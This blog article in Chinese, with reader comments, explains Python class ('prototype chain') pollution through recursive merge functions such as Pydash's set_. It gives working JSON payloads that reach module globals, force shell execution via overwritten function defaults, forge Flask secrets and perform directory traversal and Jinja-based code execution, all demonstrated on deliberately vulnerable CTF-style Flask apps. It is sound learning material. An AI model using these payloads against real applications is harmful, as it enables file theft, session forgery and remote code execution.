Python原型链污染变体(prototype-pollution-in-python)

Article_kelp 2023-01-27 11:36:00
CTF Web安全

简介

前些时间看了idekctf 2022*的task manager，出题人参考了另一位博主Python原型链污染变体的博文，于是打算写一篇文章简单学习下这种攻击方式和题目中的一些解题技巧等内容等

就像Javascript中的原型链污染一样，这种攻击方式可以在Python中实现对类属性值的污染。需要注意的是，由于Python中的安全设定和部分特殊属性类型限定，并不是所有的类其所有的属性都是可以被污染的，不过可以肯定的，污染只对类的属性起作用，对于类方法是无效的。

不过由于Python中变量空间的设置，实际上还能做到对全局变量中的属性实现污染，不过为了便于理解，先仅以污染类属性为例子展示

代码展示

合并函数

就像Javascript的原型链污染一样，同样需要一个数值合并函数将特定值污染到类的属性当中，一个标准示例如下：

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

污染示例

由于Python中的类会继承父类中的属性，而类中声明（并不是实例中声明）的属性是唯一的，所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性，如类中自定义属性及以__开头的内置属性等

先以自定义属性为例子：

class father:
    secret = "haha"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "no way"
        }
    }
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

修改内置属性也是类似：

class father:
    pass

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "__str__" : "Polluted ~"
        }
    }
}

print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload, instance)
print(father.__str__)
#Polluted ~

无法污染的Object

正如前面所述，并不是所有的类的属性都可以被污染，如Object的属性就无法被污染，所以需要目标类能够被切入点类或对象可以通过属性值查找获取到

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

payload = {
    "__class__" : {
            "__str__" : "Polluted ~"
        }
    }

merge(payload, object)
#TypeError: can't set attributes of built-in/extension type 'object'

利用

更广泛的获取

在代码展示部分所给出的例子中，污染类属性是通过示例的__base__属性查找到其继承的父类，但是如果目标类与切入点类或实例没有继承关系时，这种方法就显得十分无力

全局变量获取

在Python中，函数或类方法（对于类的内置方法如__init__这些来说，内置方法在并未重写时其数据类型为装饰器即wrapper_descriptor，只有在重写后才是函数function）均具有一个__globals__属性，该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回（相当于这个变量空间中的globals函数的返回值

secret_var = 114

def test():
    pass

class a:
    def __init__(self):
        pass

print(test.__globals__ == globals() == a.__init__.__globals__)
#True

所以我们可以使用__globlasl__来获取到全局变量，这样就可以修改无继承关系的类属性甚至全局变量

secret_var = 114

def test():
    pass

class a:
    secret_class_var = "secret"

class b:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = b()

payload = {
    "__init__" : {
            "__globals__" : {
                "secret_var" : 514,
                "a" : {
                    "secret_class_var" : "Pooooluted ~"
                }
            }
        }
    }

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514

已加载模块获取

局限于当前模块的全局变量获取显然不够，很多情况下需要对并不是定义在入口文件中的类对象或者属性，而我们的操作位置又在入口文件中，这个时候就需要对其他加载过的模块来获取了

加载关系简单

在加载关系简单的情况下，我们可以直接从文件的import语法部分找到目标模块，这个时候我们就可以通过获取全局变量来得到目标模块

#test.py

import test_1

class cls:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
        "__globals__" : {
            "test_1" : {
                "secret_var" : 514,
                "target_class" : {
                    "secret_class_var" : "Poluuuuuuted ~"
                }
            }
        }
    }
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~

#test_1.py

secret_var = 114

class target_class:
    secret_class_var = "secret"
加载关系复杂-示例

如CTF题目等实际环境中往往是多层模块导入，甚至是存在于内置模块或三方模块中导入，这个时候通过直接看代码文件中import语法查找就十分困难，而解决方法则是利用sys模块

sys模块的modules属性以字典的形式包含了程序自开始运行时所有已加载过的模块，可以直接从该属性中获取到目标模块

#test.py

import test_1
import sys

class cls:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
        "__globals__" : {
            "sys" : {
                "modules" : {
                    "test_1" : {
                        "secret_var" : 514,
                        "target_class" : {
                            "secret_class_var" : "Poluuuuuuted ~"
                        }
                    }
                }
            }
        }
    }
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~

#test_1.py

secret_var = 114

class target_class:
    secret_class_var = "secret"

当然我们去使用的Payload绝大部分情况下是不会这样的，如上的Payload实际上是在已经import sys的情况下使用的，而大部分情况是没有直接导入的，这样问题就从寻找import特定模块的语句转换为寻找import了sys模块的语句，对问题解决的并不见得有多少优化

加载关系复杂-实际使用

为了进一步优化，这里采用方式是利用Python中加载器loader，在官方文档中给出的定义是：

image-20230122102316307

简单来说就是为实现模块加载而设计的类，其在importlib这一内置模块中有具体实现。令人庆幸的是importlib模块下所有的py文件中均引入了sys模块

print("sys" in dir(__import__("importlib.__init__")))
#True
print("sys" in dir(__import__("importlib._bootstrap")))
#True
print("sys" in dir(__import__("importlib._bootstrap_external")))
#True
print("sys" in dir(__import__("importlib._common")))
#True
print("sys" in dir(__import__("importlib.abc")))
#True
print("sys" in dir(__import__("importlib.machinery")))
#True
print("sys" in dir(__import__("importlib.metadata")))
#True
print("sys" in dir(__import__("importlib.resources")))
#True
print("sys" in dir(__import__("importlib.util")))
#True

所以只要我们能过获取到一个loader便能用如loader.__init__.__globals__['sys']的方式拿到sys模块，这样进而获取目标模块。

那loader好获取吗？答案是肯定的。依据官方文档的说明，对于一个模块来说，模块中的一些内置属性会在被加载时自动填充：

image-20230122191346559

__loader__内置属性会被赋值为加载该模块的loader，这样只要能获取到任意的模块便能通过__loader__属性获取到loader，而且对于python3来说除了在debug模式下的主文件中__loader__为None以外，正常执行的情况每个模块的__loader__属性均有一个对应的类

image-20230122191623139

__spec__内置属性在Python 3.4版本引入，其包含了关于类加载时的信息，本身是定义在Lib/importlib/_bootstrap.py的类ModuleSpec，显然因为定义在importlib模块下的py文件，所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

由于ModuleSpec的属性值设置，相对于上面的获取方式，还有一种相对长的payload的获取方式，主要是利用ModuleSpec中的loader属性。如属性名所示，该属性的值是模块加载时所用的loader，在源码中如下所示：

image-20230122204320376

所以有这样的相对长的Payload：<模块名>.__spec__.loader.__init__.__globals__['sys']

实际环境中的合并函数

依据原博主所述，目前发现了Pydash模块中的set_和set_with函数具有如上实例中merge函数类似的类属性赋值逻辑，能够实现污染攻击。idekctf 2022*中的task manager这题就设计使用该函数提供可以污染的环境

攻击面扩展

根据原博主文章中的相关内容以及idekctf 2022*的task manager中的解题方法等，将这些内容部分涉及到的特定值通过简单环境示例的方式给出简单讲解

函数形参默认值替换

主要用到了函数的__defaults__和__kwdefaults__这两个内置属性

image-20230123004239978

__defaults__

__defaults__以元组的形式按从左到右的顺序收录了函数的位置或键值形参的默认值，需要注意这个位置或键值形参是特定的一类形参，并不是位置形参+键值形参，关于函数的参数分类可以参考这篇文章：python函数的位置参数(Positional)和关键字参数(keyword) - 知乎 (zhihu.com)

从代码上来看，则是如下的效果：

def func_a(var_1, var_2 =2, var_3 = 3):
    pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
    pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
    pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
    pass

print(func_a.__defaults__)
#(2, 3)
print(func_b.__defaults__)
#(2, 3)
print(func_c.__defaults__)
#(2,)
print(func_d.__defaults__)
#(2,)

通过替换该属性便能实现对函数位置或键值形参的默认值替换，但稍有问题的是该属性值要求为元组类型，而通常的如JSON等格式并没有元组这一数据类型设计概念，这就需要环境中有合适的解析输入的方式

def evilFunc(arg_1 , shell = False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__defaults__" : (
                    True ,
                )
            }
        }
    }
}

evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp

__kwdefaults__

__kwdefaults__以字典的形式按从左到右的顺序收录了函数键值形参的默认值，从代码上来看，则是如下的效果：

def func_a(var_1, var_2 =2, var_3 = 3):
    pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
    pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
    pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
    pass

print(func_a.__kwdefaults__)
#None
print(func_b.__kwdefaults__)
#None
print(func_c.__kwdefaults__)
#{'var_3': 3}
print(func_d.__kwdefaults__)
#{'var_3': 3}

通过替换该属性便能实现对函数键值形参的默认值替换

def evilFunc(arg_1 , * , shell = False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__kwdefaults__" : {
                    "shell" : True
                }
            }
        }
    }
}

evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp

特定值替换

os.environ赋值

可以实现多种利用方式，如NCTF2022中calc考点对os.system的利用，结合LD_PRELOAD与文件上传.so实现劫持等

flask相关特定属性

SECRET_KEY

决定flask的session生成的重要参数，知道该参数可以实现session任意伪造

给出示范环境如下：

#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "[+]Config:%s"%(app.config['SECRET_KEY'])


app.run(host="0.0.0.0")

正常访问：

image-20230123143118284

使用如下的Payload：

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"Polluted~"
                }
            }
        }
    }
}

image-20230123143147406

_got_first_request

用于判定是否某次请求为自Flask启动后第一次请求，是Flask.got_first_request函数的返回值，此外还会影响装饰器app.before_first_request的调用，依据源码可以知道_got_first_request值为假时才会调用：

image-20230125201714925

image-20230125201759471

给出示范环境如下：

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
    global flag
    if hasattr(app, "special") and app.special == "U_Polluted_It":
        flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    global flag
    setattr(app, "special", "U_Polluted_It")
    return flag

app.run(host="0.0.0.0")

#flag

flag{U_Find_Me}

before_first_request修饰的init函数只会在第一次访问前被调用，而其中读取flag的逻辑又需要访问路由/后才能触发，这就构成了矛盾。所以需要使用payload在访问/后重置_got_first_request属性值为假，这样before_first_request才会再次调用。

image-20230125235329318

直接访问没有flag

image-20230125235355506

携带Payload重置_got_first_request属性值为假

image-20230125235435106

init函数被触发，且其中读取flag的相关逻辑被执行，这样就获得了flag

_static_url_path

这个属性中存放的是flask中静态目录的值，默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx，这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回

#static/index.html

<html>
<h1>hello</h1>
<body>    
</body>
</html>

#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

#flag

flag{U_Find_Me}

此时http://domain/static/xxx只能访问到文件系统当前目录下static目录中的xxx文件，并且不存在如目录穿越的漏洞

image-20230123231926999

image-20230123232614872

污染该属性为当前目录。这样就能访问到当前目录下的flag文件了

image-20230123232425385

image-20230123232437027

os.path.pardir

这个os模块下的变量会影响flask的模板渲染函数render_template的解析，所以也收录在flask部分，模拟的环境如下：

#templates/index.html

<html>
<h1>hello</h1>
<body>    
</body>
</html>

#app.py

from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "flag in ./flag but u just can use /file to vist ./templates/file"

@app.route("/<path:path>")
def render_page(path):
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)

app.run(host="0.0.0.0")

#flag

flag{U_Find_Me}

直接访问http://domain/xxx时会使用render_tempaltes渲染templates/xxx文件

image-20230124121838361

如果尝试目录穿越则会导致render_template函数报错

image-20230124121914442

根据报错信息的调用栈可以来到这段代码

image-20230124163648596

image-20230124163750698

跟进95行的get_source函数，来到Lib/site-packages/jinja2/loaders.py

image-20230124163837136

继续跟进195行的split_template_path函数

image-20230124164121303

结合函数注释可以了解到这个函数将会把传入的模板路径按照/进行分割，在34行的逻辑判断上决定了（其余的部分逻辑值基本为假）整个if语句是否为真，显然需要改语句为假避免触发34行的raise。34行中的os.path.pardir值即为..，所以只要修改该属性为任意其他值即可避免报错，从而实现render_template函数的目录穿越

image-20230124165415282

修改为无关的!：

image-20230124165503524

image-20230124165529630

Jinja语法标识符

在默认的规则规则下，常用Jinja语法标识符有{{ Code }}、{% Code %}、{# Code #}，当然对于我们需要RCE的需求来说，通常前两者才需要留意。而Flask官方文档中明确告知了，这些语法标识符均是可以依照Jinja中修改的：

image-20230125184646501

在Jinja文档中展示了对这些语法标识符进行替换的方法：API — Jinja Documentation (3.1.x) (palletsprojects.com)，即对Jinja的环境类的相关属性赋值：

image-20230125155824696

而在Flask中使用了Flask类（Lib/site-packages/flask/app.py）的装饰器装饰后的jinja_env方法实现上述的功能；

image-20230125153940247

经过装饰器的装饰后，简单来说可以将该方法视为属性，对该方法的获取就能实现方法调用，类似Flask.jinja_env就相当于Flask.jinja_env()。

image-20230125154552834

image-20230125154611484

跟进其中调用的create_jinja_environment，结合注释就可以发现jinja_env方法返回值就是Jinja中的环境类（实际上是对原生的Jinja环境类做了继承，不过在使用上并无多大区别），所以我们可以直接采用类似Flask.jinja_env.variable_start_string = "xxx"来实现对Jinja语法标识符进行替换

模拟的环境如下：

#templates/index.html

<html>
<h1>Look this -> [[flag]] <- try to make it become the real flag</h1>
<body>    
</body>
</html>

#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "go check /index before merge it"


@app.route('/index',methods=['POST', 'GET'])
def templates():
    return render_template("test.html", flag = open("flag", "rt").read())

app.run(host="0.0.0.0")

#flag

flag{U_Find_Me}

访问index路由会给模板填充flag变量的值，但是需要应该要语法标识符是{{flag}}，但这里是[[flag]]是无法被解析的

image-20230125182614402

这里按照上面所述，修改相应的语法标识符：

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                    "jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}        
            }
        }
    }

image-20230125182924045

这样就成功了吗？并没有，访问index路由会发现flag值还是没有被填充进来，也就是语法标识符没有被解析

image-20230125183039283

为什么呢？这里先给出结论，Flask默认会对一定数量内的模板文件编译渲染后进行缓存，下次访问时若有缓存则会优先渲染缓存，所以输入payload污染之后虽然语法标识符被替换了，但渲染的内容还是按照污染前语生成的缓存，由于缓存编译时并没有存在flag变量，所以自然没有被填充flag。关于模板缓存的相关设置也可以在Jinja的环境类中设定，在Jinja的官方文档中可以见到：

image-20230125192937689

所以只需我们在Flask服务启动后（当然这里演示就是重启下Flask服务就行了，对于题目来说一般就是重启容器，或是在污染之后再访问模板）先输入payload再访问index路由即可：

image-20230125183800959

image-20230125183814220

Jinja语法全局数据

实际上包括函数、变量、过滤器这三者都能被自定义的添加到Jinja语法解析时的环境，操作方式于Jinja语法标识符中完全类似

image-20230126161842828

这里以增加变量为例子给出模拟的环境如下：

#templates/index.html

<html>
<h1>{{flag if permission else "No way!"}}</h1>
<body>    
</body>
</html>

#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return render_template("index.html", flag = open("flag", "rt").read())

app.run(host="0.0.0.0")

#flag

flag{U_Find_Me}

直接访问会由于没有设定permission值导致if条件为假返回No way!而不是flag

image-20230126163137415

所以将其赋值为任意逻辑非空值让条件为真即可

image-20230126163147879

模板编译时的变量

在flask中如使用render_template渲染一个模板实际上经历了多个阶段的处理，其中一个阶段是对模板中的Jinja语法进行解析转化为AST，而在语法树的根部即Lib/site-packages/jinja2/compiler.py中CodeGenerator类的visit_Template方法纯在一段有趣的逻辑

image-20230126200159703

该逻辑会向输出流写入一段拼接的代码（输出流中代码最终会被编译进而执行），注意其中的exported_names变量，该变量为.runtime模块（即Lib/site-packages/jinja2/runtime.py）中导入的变量exported和async_exported组合后得到，这就意味着我们可以通过污染.runtime模块中这两个变量实现RCE。由于这段逻辑是模板文件解析过程中必经的步骤之一，所以这就意味着只要渲染任意的文件均能通过污染这两属性实现RCE。

给出模拟的环境如下：

#templates/index.html

<html>
<h1>nt here~</h1>
<body>    
</body>
</html>

#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return render_template("index.html")

app.run(host="0.0.0.0")

#static/
#是个空目录,方便直接利用static目录读取flag

#flag

flag{U_Find_Me}

进行RCE将flag写入static目录中

image-20230126214719998

但是需要注意插入payload的位置是AST的根部分，是作为模板编译时的处理代码的一部分，同样受到模板缓存的影响，也就是说这里插入的payload只会在模板在第一次访问时触发

然后就能在static目录下读取到flag了

image-20230126214326335

参考链接

评论

V

v2ihs1yan 2023-01-30 11:34:44

orz

G

GTL-JU 2023-07-11 16:01:22

这个漏洞，如果没有类似于merge这种函数不就无法利用了？

Article_kelp 2023-07-12 15:57:21

漏洞的触发依赖于merge这一类型的赋值函数，这样看来没有merge也就没有该漏洞了。且截止到目前为止，原作者abdulrah33m也并没有进一步更新其分析文章，目前已知实现了merge功能的仍只Pydash模块的set_和set_with函数

H

HHHeey 2024-01-15 14:05:30

secret_var = 1

def test():
pass

class a:
secret_class_var = "secret"

class b:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = b()

payload = {
"__init__" : {
"__globals__" : {
"secret_var" : 2,
"a" : {"secret_class_var" : "Pooooluted ~"}
}
}
}

print(a.secret_class_var)
print(secret_var)

merge(payload, instance)

print(a.secret_class_var)
print(secret_var)
在python原型链污染中我使用了全局变量的获取来污染全局变量和类中没有继承关系的属性；此时我使用了断点调试的办法找到了secret_var是在merge()中的else:dst[k] = v实现污染，但是我无法找到a类中的变量secret_class_var = "secret"是在merge()的哪个步骤被污染的；您可以帮我解答一下嘛

Article_kelp 2024-01-22 23:04:35

a类中的变量secret_class_var = "secret"是在merge()的setattr(dst, k, v)部分被污染的。merge中的循环在处理到payload中关于a类部分时流程是这样的：①K=a, V={"secret_class_var" : "Pooooluted ~"}，执行到merge(v, dst.get(k))②K=secret_class_var,V="Pooooluted ~，执行到setattr(dst, k, v)

H

HHHeey 2024-01-25 17:23:45

好的，谢谢师傅的解答

N

Nas 2024-09-19 20:38:20

师傅您好！_static_url_path那 flag在当前目录下 通过原型链污染修改了静态目录指向为当前目录 这时候不应该是访问/flag吗 您截图上访问了static/flag 是有什么说法吗

Article_kelp 2024-09-24 02:16:28

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由，你需要用static开头才能访问这个功能。这里/static/flag应该看作对动态路由传参的使用——URL中既有path又有param。如下就是一个简单的动态路由传参。
@app.route('/student_list/<student_id>/')
def student_list(student_id):
return '学生{}号的信息'.format(student_id)
所以访问/static/xxxx意味着调用路径static映射到的函数，并传递参数xxxx。
_static_url_path中只污染了路由映射到的函数的处理逻辑，并没有改变路由的映射关系，静态目录功能仍绑定在static路径下面。所以仍然需要static/flag，其中的static是路径，根据这个路径找到静态目录处理函数，然后把flag作为参数传递给这个函数运行。

Article_kelp

臭鱼烂虾滴捏~

twitter weibo github wechat

随机分类

数据分析与机器学习 文章：12 篇
神器分享 文章：71 篇
Python安全 文章：13 篇
区块链 文章：2 篇
数据安全 文章：29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由，你需要用s

N

Nas

师傅您好！_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好，为什么我也是用windows2016和win10，但是流量是smb3，加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录